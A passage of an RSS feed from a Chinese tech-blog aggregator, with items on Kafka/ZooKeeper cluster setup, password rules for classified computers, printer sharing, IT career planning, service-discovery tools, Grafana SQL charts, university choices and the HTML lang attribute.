      <description>在搭建kafka集群时，需要提前安装zookeeper集群，当然kafka已经自带zookeeper程序只需要解压并且安装配置就行了&#xA;官网： http://kafka.apache.org&#xA;yum install -y java-1.8.0&#xA;wget http://mirror.rise.ph/apache/kafka/0.8.2.1/kafka_2.11-0.8.2.1.tgz&#xA;tar -xf kafka_2.11-0.8.2.1.tgz -C /usr/local/&#xA;cd /usr/local/&#xA;mv kafka_2.11-0.8.2.1 kafka&#xA;2.配置zookeeper集群&#xA;vim /usr/local/kafka/config/zookeeper.properties&#xA;dataDir=/data/zookeeper&#xA;clientPort=2181&#xA;tickTime=2000&#xA;tickTime : 这个时间是作为 Zookeeper 服务器之间或客户端与服务器之间维持心跳的时间间隔，也就是每个 tickTime 时间就会发送一个心跳。&#xA;initLimit=20&#xA;initLimit：LF初始通信时限&#xA;syncLimit=10&#xA;syncLimit：LF同步通信时限&#xA;server.2=192.168.184.177:2888:3888&#xA;2888 端口：表示的是这个服务器与集群中的 Leader 服务器交换信息的端口；&#xA;3888 端口：表示的是万一集群中的 Leader 服务器挂了，需要一个端口来重新进行选举，选出一个新的 Leader ，而这个端口就是用来执行选举时服务器相互通信的端口。&#xA;server.3=192.168.184.178:2888:3888&#xA;server.4=192.168.184.179:2888:3888&#xA;maxClientCnxns=0&#xA;maxClientCnxns选项，如果不设置或者设置为0，则每个ip连接zookeeper时的连接数没有限制&#xA;mkdir -p /data/zookeeper&#xA;echo 2 &amp;gt; /data/zookeeper/myid vim /usr/local/kafka/config/server.properties&#xA;broker.id=2&#xA;唯一，填数字&#xA;prot=9092&#xA;这个 broker 监听的端口&#xA;host.name=192.168.184.177&#xA;唯一，填服务器 IP</description>
    </item>
    <item>
      <title>涉密计算机用户登录密码多久换一次,涉密计算机口令应根据其密级进行设置并定期更换，秘密级计算机口令更换周期不得超过30天，机密级计算机口令更换周期不得超过10天 - 作业在线问答...</title>
      <link>https://bchobby.github.io/posts/5cc4a4c7b33e5ce32f22b10fa1e91888/</link>
      <pubDate>Mon, 28 Jun 2021 03:38:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cc4a4c7b33e5ce32f22b10fa1e91888/</guid>
      <description>相关题目与解析&#xA;处理秘密级信息的计算机系统口令长度不得少于()，口令长度更换周期不得长于();处理机密级信息的&#xA;按规定，秘密级计算机身份鉴别口令长度不少于()位，应采取组成复杂、不易猜测的口令，并定期更换&#xA;处理秘密级信息的涉密计算机，设臵的口令长度应大于6位，更换周期为3个月。()&#xA;处理秘密级信息的涉密计算机系统口令字长度不得少于()个字符。&#xA;涉密计算机的登陆口令不能单由数字组成，且存储秘密级信息的登陆要求()，存储机密级信息的登陆要求&#xA;处理秘密级信息的计算机，口令更换周期不超过()个月。A、1B、2C、3D、4&#xA;秘密级计算机口令长度应不少于()位，更换周期不超过一个月。A.4B.6C.8D.10&#xA;处理秘密级信息的涉密计算机系统口令长度不得少于______个字符。&#xA;只要是涉密计算机，就可以存储和处理任何密级的国家秘密信息。()&#xA;处理秘密级、机密级信息的涉密计算机系统的身份鉴别尝试次数连续达()次后，系统应锁定该用户账&#xA;涉密计算机要按照国家保密局发布的BMZ1－2000《涉及国家秘密的计算机信息系统保密技术要求》规定&#xA;秘密级计算机的身份鉴别如采用用户名加口令的方式，则口令应当每月更换一次。&#xA;秘密级计算机，身份鉴别口令的更新周期为()。&#xA;处理国家秘密信息的单台计算机，应当根据所处理信息的最高密级，按照()级别涉密信息系统的有关&#xA;秘密级计算机使用口令方式进行身份鉴别时，下列所述正确的是()。A.口令长度为8位，数字和字符混排&#xA;下列符合秘密级、机密级计算机口令设置要求的是()。&#xA;涉密移动存储介质应当根据有关规定确定密级和保密期限，并视同秘密文件资料进行管理。()&#xA;存储国家秘密信息的计算机媒体，应按______标明密级，并按相应密级的文件进行管理。A.所存储信</description>
    </item>
    <item>
      <title>台式计算机怎么进行打印机共享,台式机共享打印机的方法</title>
      <link>https://bchobby.github.io/posts/3878c4a45dc762d0bc921374be38017a/</link>
      <pubDate>Sun, 27 Jun 2021 18:47:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3878c4a45dc762d0bc921374be38017a/</guid>
      <description>台式机共享打印机的方法&#xA;打印机(Printer) 是计算机的输出设备之一，用于将计算机处理结果打印在相关介质上。衡量打印机好坏的指标有三项：打印分辨率，打印速度和噪声。 打印机的种类很多，按打印元件对纸是否有击打动作，分击打式打印机与非击打式打印机。下面是jy135小编收集整理的台式机共享打印机的方法，欢迎阅读。&#xA;台式机共享打印机方法一：&#xA;1、将一台电脑和打印机用数据线连接好，打印机处于开机状态，然后把打印机驱动CD插入CD-ROM驱动器。&#xA;2、光盘插入后，电脑会弹出安装界面，根据安装向导，按照提示一步一步进行选择即可。&#xA;3、最后安装完成后，可以打印测试页验证机器打印是否成功。&#xA;4、点击“开始”--“设置”--&#34;打印机和传真&#34;--在三星打印机的图标上右键共享即可。&#xA;台式机共享打印机方法二：&#xA;1、知道别的计算机共享了打印机和打印机的共享名，并查看其IP地址。&#xA;2、找到这台共享的打印机&#xA;a: 方法一，打开开始菜单，单击“运行”按钮，在输入框内输入图中IP地址。&#xA;b: 方法二，打开网络，在网络的计算机列表中找到共享这台打印机的计算机名，双击打开。&#xA;3、打开这台计算机的共享，我们可以找到这台打印机，右键单击打印机，点击“连接”。&#xA;4、会自动提示从共享打印机的这台电脑获取并安装驱动程序，点击“安装驱动程序”按钮。&#xA;5、安装完成后，打开控制面板，找到“硬件和声音”下的“查看设备和打印机”、或者在控制面板以“大/小图标”显示的状态下，点击“设备和打印机”。&#xA;6、在打开的“设备和打印机”界面，在这台打印机上单击右键，点击“设置为默认打印机”，设置为默认后即可正常使用。&#xA;台式机共享打印机方法三：&#xA;1、打开桌面上的网上邻居，然后点击设置家庭或小型办公网络&#xA;然后点击下一步、再点击下步，&#xA;选择是然后下一步，到文件和打印机共享选择启用&#xA;到快完成的那一步选择完成该向导就可以了，然后将台式机的设置里面将需要共享的打印机设置为共享，&#xA;设置完毕后重启电脑，在笔记本上上添加打印机，选择网络打印机，找到相应的打印机进行添加，添加完毕后在打印时选择相应的打印机就可以了。&#xA;【台式机共享打印机的方法】相关文章：</description>
    </item>
    <item>
      <title>计算机专业对未来职业的理想追求,IT行业个人职业生涯规划</title>
      <link>https://bchobby.github.io/posts/5bb0156774e4ad0a9eb6d5d1f0043fd7/</link>
      <pubDate>Sun, 27 Jun 2021 18:04:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bb0156774e4ad0a9eb6d5d1f0043fd7/</guid>
      <description>【导语】一个完整的职业规划由职业定位、目标设定和通道设计三个要素构成。以下是无忧考网整理的IT行业个人职业生涯规划，欢迎阅读！&#xA;IT行业个人职业生涯规划篇一&#xA;距雅典不远有一座古希腊的圣城叫德尔斐，这里是传说中的太阳神阿波罗的驻地，但现在这座古城最有名的却是哲人塔列斯刻在太阳神圣殿外的一句传世名言：“人啊，认识你自己!”。&#xA;很多人非常优秀，但终没有达成的原因在于无法真正认识和掌控自我，不清楚自己真正想要的是什么，所以真正能得到的也当然是个未知数。特别是在it这样一个充满活力又极端残酷的特殊行业中，每天都在创造着新的传奇，创造与*，裂变与整合，竞争与合作，it人很难过着平淡而惬意的生活，更多非常优秀的it人士并没有真正了解和正视过自己究竟需要怎样的生活，也没有考虑过什么样的职业发展才真正适合自己。&#xA;相对优秀的会一步一步由基层的专业研发人员，成为项目经理、技术总监、研发执行总裁，也有很多人会选择自主创业，但更多的是平淡无奇的继续履行着普通研发者的生涯，等着比普通行业的人员更早的更无情的被淘汰。认识自我是人生在职业生存的环境中，我往往会把职场中打工的人分为两部分，一是优势群体，这种人完全可以自主选择掌控职业生涯，自由广泛的挑选工作，并充分应对工作;另一种人是弱势群体，不得不为在继续职场生存而担惊受怕，被动的经历着职位的挑选和筛掏。成为第一种的人，往往会达到双赢，他离职的单位对他的评价会很高，失去他会觉得是一种巨大的损失;同时他出于职业道德，对曾经服务过的单位也会给予很高的评价，不会随意评论原单位的某些不当之处。&#xA;一个人为人处世的方法和能力往往是他过往经验和知识的累积，特别是it这个瞬息万变的行业，更容易感觉到多年的经验可能会因为新技术出现而在一夜之间变得一文不值，更会认为自己在工作中的优势逐渐衰弱，自身价值得到充分体现的可能性越发趋小。工作持续才能成为职业，职业经过积累才能成为经验，经验加上学习与应用才能获得职业重心的提升。所以，对以下三个问题要反复斟酌，充分论证，综合分析，以确定自己的职业生涯路线。&#xA;(1)我希望往哪一方向发展?&#xA;(2)我正在往哪一路线发展?&#xA;(3)规划和目标者的适合我吗?&#xA;要以自己的才能、性格、兴趣、最有利的环境等综合因素配置。通常分短期、中期、长期和人生目标。短期目标一般为一至二年，可以拆分成日目标、周目标、月目标、年目标。中期目标一般为三至五年。&#xA;长期目标一般为五至十年。需要考量的、与职业选择相关因素有：&#xA;(1)性格与职业的合适度：团队性、责任感、进取心、自律性、灵活性、自主性、支配性等。&#xA;(2)兴趣因素：偏好、现实性艺术性、社会性、事业性和传统性。&#xA;(3)能力条件：语言与表达能力、数字运算、逻辑判断、整合与分析、机械推理、空间想象、沟通技巧、创新、解决、处理。&#xA;(4)外部因素和附加条件：所在国家、城市的客观因素、家庭条件等。&#xA;在确定了职业生涯目标后，行动便成了关键的环节。没有达成目标的行动，目标就难以实现，也就谈不上事业的成功。永远不变的是变化，影响职业生涯规划的因素诸多。有的变化因素是可以预测的，而有的变化因素难以预测，就须不断地对职业生涯规划进行评估与修订。it行业里的每个人都应该好好考虑一下自己的未来，给自己未来的职业道路做一个明确的规划。&#xA;学习是一种终身的责任，每一阶段都有不同的学习重点，学习更是职业整体发展的一部分，是实现职业发展目标终身伴侣。根据it产业的特性，可以把it人的职业生涯规划分为三个大的阶段：即25-32岁，33-40岁，40-65岁。第一阶段—积累和发展期在25、26岁时，有两三年基本的经验和能力，为自己准确定位就开始成为首要的事情。如果选择终身打工，就要很清楚自己每一阶段要获得的收入，要做到的职位，下一步需要的工作背景。如果一个进阶序列的职位都不适合自己，就要考虑可能转换工作性质。&#xA;同样一般企业用人时，会把25、26岁的人群看得比较重，会尊重和重视他们，让他们有发挥展示的机会。25-32岁之间是不断积累的阶段，这一期间可以迎来it人打工的最辉煌时期，包括地位和收入。第二阶段-成熟和挑战期基本小成以后要开始抉择是否创业。尽管it企业对流动资金的要求比一般企业来说并不算多，同时对于其他综合管理的能力来讲，也并不是，但it人士的专业性，往往束缚他们成为优秀的商人。通常有两类人创业是值得鼓励的，一种是有全面掌控能力的人，一种是有绝对专业技术的人。&#xA;全面掌控意味着对全面预算、全面营销、全面掌控人力、物力资本的流转、全面管理;绝对专业意味着掌握和预计研发的项目或产品在未来有持续先进性甚至是引导性，并具有商业化应用的可操作性。即使是创业也要考量自己手头积累的综合资源和技能，尽量在交互产业、交互技术、交互领域去发展，不要盲目多元化构思创业，一定要进行充分详尽和深入地进行可行性分析和预测。如果不选择创业这时期，it人士的人生目标和组织的目标得了最后实现的机会，是他职业生命的延续，在企业里承担重大职责，或者是权威专家的角色，他们追求在这个岗位上稳稳当当地尽职尽责直到光荣退出这个圈子。&#xA;IT行业个人职业生涯规划篇二&#xA;摘要：职业生涯规划设计对高职学生的职业发展具有重要的指导意义。目前大学生就业形势严峻，高职大学生对职业生涯缺乏认识，通过分析职业生涯规划现状，提出IT类大学生职业生涯设计实施方案，期望能够帮助大学生顺利择业，成功就业。&#xA;关键词：高职;职业生涯规划设计;IT;职业定位&#xA;“大学生职业生涯规划设计，是指大学生客观认知自己的能力、兴趣、个性和价值观，发展完整而适当的职业自我观念个人发展与组织发展相结合，在对个人和内部环境因素进行分析的基础上，深入了解各种职业的需求趋势以及关键成功因素，确定自己的事业发展目标，并选择实现这一目标的职业和岗位，编址相应的工作、教育和培训行动计划，制定出基本措施，高校行动，灵活调整，有效提升职业发展所需的执行、决策、和应变技能，使自己的事业得到顺利发展，并获得程度的事业成功。”这个过程正是高等职业学生最需要自觉实现的过程。目前，面临巨大的就业压力，IT类大学生开展职业生涯规划设计意义重大。&#xA;一、职业生涯规划现状&#xA;1.职业生涯规划意识淡薄&#xA;通过企业招聘的笔试和面试，我们发现，应届高职学生普遍缺乏职业生涯规划意识，他们对制作简历、写自荐信、搜集就业信息、准备面试、就业基本礼仪等常识性问题了解甚少，应聘时，只知道投简历，没有明确的职业岗位要求，没有个人的发展目标和思路。在与用人单位沟通时，过分关注经济利益，过分关注专业对口，而不考虑职业前景与长远发展，更不考虑个人的能力和自身的优劣势，择业盲目，职业生涯规划意识淡薄。部分学生还认为在职业生涯规划是工作以后考虑的事情，在大学阶段为时过早，但当他们毕业面临就业时却毫无准备、束手无策。&#xA;2.自我分析不足，职业定位不准确&#xA;由于缺乏对自身兴趣爱好、专业特长、家庭背景、行业形势等的全面分析，尤其是对社会发展、市场前景的判断及适应能力较弱。这使他们在职业生涯规划过程中易走入误区，暴露出职业定位模糊等问题。在调查中发现，大部分IT类学生对于本专业的行业状况没有进行过调研，也不了解相关行业的发展前景、用人制度、企业文化、人际关系等等，对自己将要从事的职业一知半解，很少考虑自己的职业定位，走一步算一步。&#xA;3.职业价值观偏颇&#xA;通过与学生私下的交流，发现许多学生把薪水和待遇作为职业选择的首要因素，过于注重个人的自我感觉，很少考虑社会的实际需求和人生发展的规律，没有把自己可持续的职业发展放在重要位置，没有对自己进行正确的认识、评估和对职业环境进行全面了解。在择业中明显存在着追求实惠和功利化的倾向，看重大城市、大企业、大单位，只顾暂时的利益取舍，不考虑长远的发展前景。&#xA;4.缺乏职业生涯规划的指导&#xA;目前，我国绝大多数高职院校只在学生毕业的时候开设就业指导课，而对于刚刚进入大学的学生却缺乏职业引导，缺乏对该专业当前的就业形势与就业政策的分析，从而没有及时为学生提供面试技巧、择业心理、简历书写等深层次的服务。这在一定程度上也造就了毕业生就业难、职业发展错位的问题。职业生涯规划不是一蹴而就的事情，而是高校的就业环节中一项长期的任务。&#xA;二、IT职业生涯规划设计&#xA;1.树立正确的职业理想，确立明确的职业目标&#xA;职业思想是指人们对未来职业表现出来的一种强烈的追求和向往，是人们对未来职业生活的构想和规划。任何人的职业理想必然要受到社会环境、社会现实的制约。社会发展的需要是职业理想的客观依据，凡是符合社会发展需要和人民利益的职业理想都是正确的，并具有现实的可行性。大学生的职业理想更应把个人志向与国家利益和社会需要有机地结合起来。职业理想形成后，每个人都会确立明确的职业目标。在职业生涯中，人生的职业目标有短期目标和长期目标以及近期目标和长远目标之分，而且在一定时期还有可能对职业目标提出一定的调整。所以，高职学生应当尽快确定自己的职业目标，打算成为哪方面的人才，打算在哪个领域成才等等。对这些问题的不同答案不仅会影响个人职业生涯的设计，也会影响个人成功的机会。&#xA;2.评估环境、认识自我，进行准确的职业定位&#xA;高职学生在制定IT职业发展规划时首先要进行的是职业环境评估以及职业自我评估，一方面，要了解IT行业前景，IT业所需知识，成功的必要条件，各种利弊、报酬以及晋升机会等职业环境要素，才能把握职业机会。另一方面，要客观全面地认清自我，充分了解自己的职业兴趣、能力结构、职业价值观、行为风格、优势与劣势等是否适合IT行业。&#xA;了解IT业是否是自己的兴趣所在，思考自己在该行业中到底适合做一名技术人才、销售人才抑或是管理型人才。&#xA;IT产业是知识密集、技术密集的产业，IT人才市场往往集中在经济发达的地区，因此，在进行职业生涯设计时，要考虑到经济发达地区的职业需求特点，如该地区的特殊政策、环境特征等。在进行职业生涯设计时，不能仅要看单位的大小、名气、工资待遇，而要看该职业在IT行业的现状和发展前景，如人才供给情况、平均工资状况、未来发展趋势等。&#xA;3.构建合理的知识结构&#xA;知识的积累是成才的基础和必要条件。人们常常把一个人掌握知识的多少作为衡量水平高低的标准，但这不是衡量人才的绝对标准。大学生既要具有相当数量的知识，又要形成合理的知识结构;既要能很好地适应社会需要，又要能充分体现个人特色;既要满足专业要求，又要有良好的人文修养;既要能发挥群体优势，又要能展现个人专长。在进行职业生涯设计时，大学生要能够根据职业和社会不断发展的具体要求，将已有知识科学地重组，建构合理的知识结构，限度地发挥知识的整体效能。IT类大学生除了具备IT专业知识外，还应该积极学习社交礼仪、市场营销、艺术设计等专业课程，帮助自己提升未来的就业砝码。&#xA;4.培养职业需要的实践能力&#xA;高职IT类大学生的综合能力和知识面是IT从业人员的重要考核依据。IT业不仅考核学生计算机方面的专业知识和技能，而且还考核其综合运用知识的能力、对环境的适应能力、对文化的整合能力和实际操作能力等。因此，大学生进行职业生涯设计，除了构建自己合理的知识结构外，还应具备从事IT行业岗位工作的基本能力和某些专业能力，只有将合理的知识结构和适用社会需要的各种能力统一起来，才能立于不败之地。一般来说，应重点培养满足社会需要的决策能力、创造能力、社交能力、实际操作能力、组织管理能力和自我发展的终身学习能力、心理调适能力、随机应变能力等。&#xA;三、职业生涯设计应注意的问题&#xA;1.结合社会人才需求设计职业生涯&#xA;大学生对职业的选择是不能脱离社会需要，要注意社会与个人利益的统一，社会需要与个人愿望的有机结合。在进行职业生涯设计时，应积极把握社会人才需求的动向，把社会需要作为出发点和归宿点，以社会对个人的要求为准绳，既要看到眼前的利益，又要考虑长远的发展，既要考虑个人的因素，也要自觉服从社会需要。&#xA;2.结合所学专业设计职业生涯&#xA;IT类大学生经过短期的专业学习，具有一定的IT专业知识和技能，就可以确定自己的培养目标和就业方向，可以进行专业方面的职业生涯设计。用人单位对毕业生的需求，一般首先选择的是大学生的专业特长，大学生迈入社会后的贡献，主要靠运用所学的专业知识来实现。需要强调的是，大学生所学的专业知识要精深、广博，除了要掌握宽厚的基础知识和精深的专业知识外，还要拓宽专业知识面，掌握或了解与本专业相关的若干专业知识和技术。&#xA;3.根据个人兴趣与能力特长设计职业生涯&#xA;职业生涯设计要与自己的个人性格、气质、兴趣、能力特长等方面相结合，充分发挥自己的优势，扬长避短，体现人尽其才、才尽其用的要求。大学生在职业生涯设计时，要对自己的兴趣有一个客观的分析，对自己的兴趣爱好进行重新培养和调整。能力特长对职业的选择起着筛选作用，是求职、择业以及事业成功的重要保证。知识多、学历高不一定能力强，大学生切不可以学习成绩作为评价能力高低的惟一尺度。大学生应在对自己的能力特长有一个正确的自我认知和评价的基础上，根据自己的真才实学和能力特长进行职业生涯设计。&#xA;由于IT技术的发展日新月异，IT类学生的职业生涯规划也是动态的、可持续的。从学生职业规划的时序上看，学生个人发展的每个阶段都是协调的，每一阶段又是上一阶段的升华、调整的结果，体现了一种发展上的连续性。即一个人为实现他的职业生涯目标必须进行的实践活动只是一个连续不断的从一个阶段向另一阶段进步的过程。这个发展不仅是量变的过程，更是质的飞跃。这一阶段的发展能为下一阶段或整个人生经历打下基础，具有解决实践中不断出现问题的能力。&#xA;职业生涯规划的本质特征在于追求人的发展的化。这就决定了职业生涯的规划不局限于在学校受教育阶段，而是整个人生历程中都要坚持学会学习、学会做事、学会合作、学会反思、学会发展，进而使人生的潜力得到化的展示，最终实现预期的人生价值。&#xA;参考文献：&#xA;[1]孙福权，秦燕，IT职业生涯规划.东北大学出版社，2007.&#xA;[2]赵伟乾，周爱兰，论高职艺术类大学生职业生涯规划教育.就业与创业，2009.&#xA;IT行业个人职业生涯规划.doc&#xA;下载Word文档到电脑，方便收藏和打印[全文共6093字]&#xA;编辑推荐：&#xA;下载Word文档</description>
    </item>
    <item>
      <title>java设计模式看什么书，纯干货</title>
      <link>https://bchobby.github.io/posts/4e4feaa8de182eda1396279222b4cb00/</link>
      <pubDate>Sun, 27 Jun 2021 17:01:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e4feaa8de182eda1396279222b4cb00/</guid>
      <description>业界常用的服务注册与发现组件对比 了解服务注册与发现的基本原理后，如果你要在项目中使用服务注册与发现组件，当面对众多的开源组件该如何进行技术选型？&#xA;在互联网公司里，有研发实力的大公司一般会选择自研或者基于开源组件进行二次开发，但是对于中小型公司来说直接选用一款开源软件会是一个不错的选择。&#xA;常用的注册与发现组件有eureka，zookeeper，consul，etcd等，由于eureka在2018年已经宣布放弃维护，这里就不再推荐使用了。&#xA;业界开源组件&#xA;下面结合各个维度对比一下各组件。&#xA;组件优点缺点接口类型一致性算法zookeeper1.功能强大，不仅仅只是服务发现；&#xA;2.提供watcher机制可以实时获取服务提供者的状态；&#xA;3.广泛使用，dubbo等微服务框架已支持；1.没有健康检查；&#xA;2.需要在服务中引入sdk，集成复杂度高；&#xA;3.不支持多数据中心；sdkPaxosconsul1.开箱即用，方便集成；&#xA;2.带健康检查；&#xA;3.支持多数据中心；&#xA;4.提供web管理界面；不能实时获取服务变换通知restful/dnsRaftetcd1.开箱即用，方便集成；&#xA;2.可配置性强1.没有健康检查；&#xA;2.需配合三方工具完成服务发现功能；&#xA;3.不支持多数据中心；restfulRaft&#xA;从整体上看consul的功能更加完备和均衡。接下来以consul为例详细介绍一下。&#xA;Consul——值得推荐的服务注册与发现开源组件 简单认识一下Consul Consul是HashiCorp公司推出的开源工，使用Go语言开发，具有开箱即可部署方便的特点。Consul是分布式的、高可用的、 可横向扩展的用于实现分布式系统的服务发现与配置。&#xA;Consul有哪些优势？ 服务注册发现：Consul提供了通过DNS或者restful接口的方式来注册服务和发现服务。服务可根据实际情况自行选择。健康检查：Consul的Client可以提供任意数量的健康检查，既可以与给定的服务相关联，也可以与本地节点相关联。多数据中心：Consul支持多数据中心，这意味着用户不需要担心Consul自身的高可用性问题以及多数据中心带来的扩展接入等问题。 Consul的架构图 Consul架构&#xA;Consul 实现多数据中心依赖于gossip protocol协议。这样做的目的：&#xA;不需要使用服务器的地址来配置客户端；服务发现是自动完成的。健康检查故障的工作不是放在服务器上，而是分布式的。 Consul的使用场景 Consul的应用场景包括服务注册发现、服务隔离、服务配置等。&#xA;服务注册发现场景中consul作为注册中心，服务地址被注册到consul中以后，可以使用consul提供的dns、http接口查询，consul支持health check。&#xA;服务隔离场景中consul支持以服务为单位设置访问策略，能同时支持经典的平台和新兴的平台，支持tls证书分发，service-to-service加密。&#xA;服务配置场景中consul提供key-value数据存储功能，并且能将变动迅速地通知出去，借助Consul可以实现配置共享，需要读取配置的服务可以从Consul中读取到准确的配置信息。&#xA;总结 这份面试题几乎包含了他在一年内遇到的所有面试题以及答案，甚至包括面试中的细节对话以及语录，可谓是细节到极致，甚至简历优化和怎么投简历更容易得到面试机会也包括在内！也包括教你怎么去获得一些大厂，比如阿里，腾讯的内推名额！&#xA;某位名人说过成功是靠99%的汗水和1%的机遇得到的，而你想获得那1%的机遇你首先就得付出99%的汗水！你只有朝着你的目标一步一步坚持不懈的走下去你才能有机会获得成功！&#xA;成功只会留给那些有准备的人！资料免费领取方式：戳这里&#xA;那些有准备的人！资料免费领取方式：戳这里</description>
    </item>
    <item>
      <title>02 初识Prometheus - 利用grafana让mysql数据生成折线图,柱状图</title>
      <link>https://bchobby.github.io/posts/94f79df3b5cfb58a858d966b46160f31/</link>
      <pubDate>Sun, 27 Jun 2021 11:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94f79df3b5cfb58a858d966b46160f31/</guid>
      <description>https://cloud.tencent.com/developer/article/1582979 step1 新建一个表testgraph，用来存放查询的数据。&#xA;DROP TABLE IF EXISTS `testgraph`; CREATE TABLE `testgraph` ( `id` int(10) NOT NULL AUTO_INCREMENT, `create_time` datetime(0) NULL DEFAULT NULL, `value` int(20) NULL DEFAULT NULL, `metric` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; SET FOREIGN_KEY_CHECKS = 1; 在表中添加如下数据，用来测试，注意create_time特意填入的日期每个都不一样，不是同一天。&#xA;step2 打开grafana，选择折线图表并选择mysql数据源。&#xA;选择SQL Edit模式，在编辑框中输入以下sql语句：&#xA;SELECT create_time AS &#34;time&#34;, value,metric FROM testgraph WHERE $__timeFilter(create_time) ORDER BY create_time desc 我们来回顾一下sql语句的格式：</description>
    </item>
    <item>
      <title>大连二本的学计算机专业的大学,高考成绩差：这9所“二本大学”的计算机专业不错！值得报考！...</title>
      <link>https://bchobby.github.io/posts/3df6c56243b9cfbfffabe62ee6c9beb2/</link>
      <pubDate>Sun, 27 Jun 2021 08:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3df6c56243b9cfbfffabe62ee6c9beb2/</guid>
      <description>原标题：高考成绩差：这9所“二本大学”的计算机专业不错！值得报考！&#xA;“都说考不上985、211大学，即便是考上一般的大学，出来都一样不好就业。我孩子成绩不算太好，我估计也就考个二本，现在主要是担心，毕业了更不好就业。”&#xA;“孩子想学计算机专业，但是国内一些实力比较不错的大学都很难考。孩子的成绩不是很好，最多考个二本，有没有哪些二本大学的结算及专业不错的？”&#xA;计算机专业一向都是很多高考生填报关注最多的一个专业，事实上这个专业确实很好就业，不管是男生报考还是女生报考，本科生还是专科生，都很适合。而且计算机类专业包含不少的专业，大家报考的时候，选择面也比较广。&#xA;所以最好是提前了解一下想要报考什么样的计算机专业，一定要了解各专业的课程，以及录取限制等条件。不同的专业要求也会不一样，所以最好是对了解一下具体的信息比较好。&#xA;对于成绩好的学生来说，考入国内计算机专业实力强的大学，毕业了肯定发展的更好。但是并不代表一些普通的二本大学就不知的报考了。我今天要专门分享9所计算机专业很不错的二本大学。对于想要报考计算机专业的二本考生来说，可以参考一下：&#xA;1、广西师范大学——位于： 广西，师范类大学；广西师范大学的化学专业是ESI全球前1%的学科，但是实际上计算机专业同样实力也不错，很值得报考的；&#xA;2、桂林理工大学——位于： 广西桂林市，理工类大学；虽然桂林理工大学的资源勘查工程、 勘查技术与工程等专业实力不错，但是学校的信息科学与工程学院设置的专业却很不错的；&#xA;3、厦门理工学院——位于： 厦门市，理工类大学；厦门理工大学的车辆工程实力算是很强的了， 不过如果对计算机类专业感兴趣的话，可以了解一下该校的计算机与信息工程学院，实力不错；&#xA;4、江西师范大学——位于：江西省，师范类大学；学校的计算机科学与技术专业、网络工程专业实力都算是非常不错的专业了，很值得报考，毕业生认可度挺高的；&#xA;5、长春工业大学——位于：长春市，理工类大学；长春工业大学的计算机科学与技术专业本身就是国家级特色专业，所以实力算是很厉害的了，报考的话还是很靠谱的；&#xA;6、浙江工商大学——位于：杭州市，财经类大学；浙江工商大学的计算机科学与工程学院开设的专业实力都算是不错的，感兴趣的可以了解一下，学校的位置还是挺有优势的；&#xA;7、大连大学——位于： 辽宁省大连市，综合类大学；这所学校一些特色类的专业还是挺多的，比较适合当地的学生报考。当然学校的信息工程学院设置的几个计算机类专业倒是挺不错的；&#xA;8、温州大学——位于： 浙江省温州市，综合类大学；温州大学的名气虽然不大，但是学校却又一流专业：化学、中国语言文学；当然综合类大学的学科都比较的完善，计算机类专业同样也算是很受认可的；&#xA;9、常州大学——位于：常州市，理工类大学；学校的计算机科学与技术本身也算是常州大学的重点专业了，所以实力肯定是很不错的，报考的话还是能够学到真东西的；&#xA;最后，今天就暂时分享到这里了、想要了解更多有关填报志愿、高考、大学、专业、家庭教育等相关的信息，可以关注我！返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>html设置中文显示,html如何设置语言为中文</title>
      <link>https://bchobby.github.io/posts/2206fff8b0e9987fcff378ef27d6fda4/</link>
      <pubDate>Sat, 26 Jun 2021 13:13:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2206fff8b0e9987fcff378ef27d6fda4/</guid>
      <description>在HTML中，可以使用type属性设置语言为中文，只需要给html元素设置“lang=&#34;zh&#34;”代码即可。属性lang是英语“language”的缩写，意思是语言，声明当前页面的语言类型；当值为“zh”时，表示当前页面的语言类型是中文。&#xA;本教程操作环境：windows7系统、CSS3&amp;amp;&amp;amp;HTML5版、Dell G3电脑。&#xA;如果中文网站建议设置这个，不然浏览器以为你是英文的看到有个单词就提示翻译就很烦，开发开发着发现才有好多细节需要记录&#xA;新建模板都是这样的&#xA;...&#xA;我们需要改成&#xA;...&#xA;扩展资料：&#xA;通常，&#34;en&#34; 表示英语(English)、&#34;ja&#34; 表示(Japanese)、&#34;zh-cn&#34; 表示简体中文等等。&#xA;zh 是中文，代表的是宏语言(Macrolanguage)，zh 单独用表示中文整体，可以是方言、文言文、简繁体等混合内容，毕竟大陆地区大部分人都能认识不少繁体字，台湾地区大部分人也能认识很多简体字。理论上 zh-CN 表示的是中国大陆中文，包含方言和简繁体，但默认指简体普通话，局限性就体现出来了，没法表达繁体普通话，这时为了精准性，应该用独立语种替换，包括但不仅限于普通话和七大方言:&#xA;cmn 普通话(官话、国语)&#xA;wuu 吴语(江浙话、上海话)、czh 徽语(徽州话、严州话、吴语-徽严片)&#xA;hak 客家语&#xA;yue 粤语(广东话)&#xA;nan 闽南语(福建话、台语)、cpx 莆仙话(莆田话、兴化语)、cdo 闽东语、mnp 闽北语、zco 闽中语&#xA;gan 赣语(江西话)&#xA;hsn 湘语(湖南话)&#xA;cjy 晋语(山西话、陕北话)&#xA;推荐学习：html视频教程</description>
    </item>
    <item>
      <title>【数据分析】产品日活DAU下降，怎么分析</title>
      <link>https://bchobby.github.io/posts/237e6b2c5e7e75c78809e986cd4f6abd/</link>
      <pubDate>Fri, 25 Jun 2021 16:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/237e6b2c5e7e75c78809e986cd4f6abd/</guid>
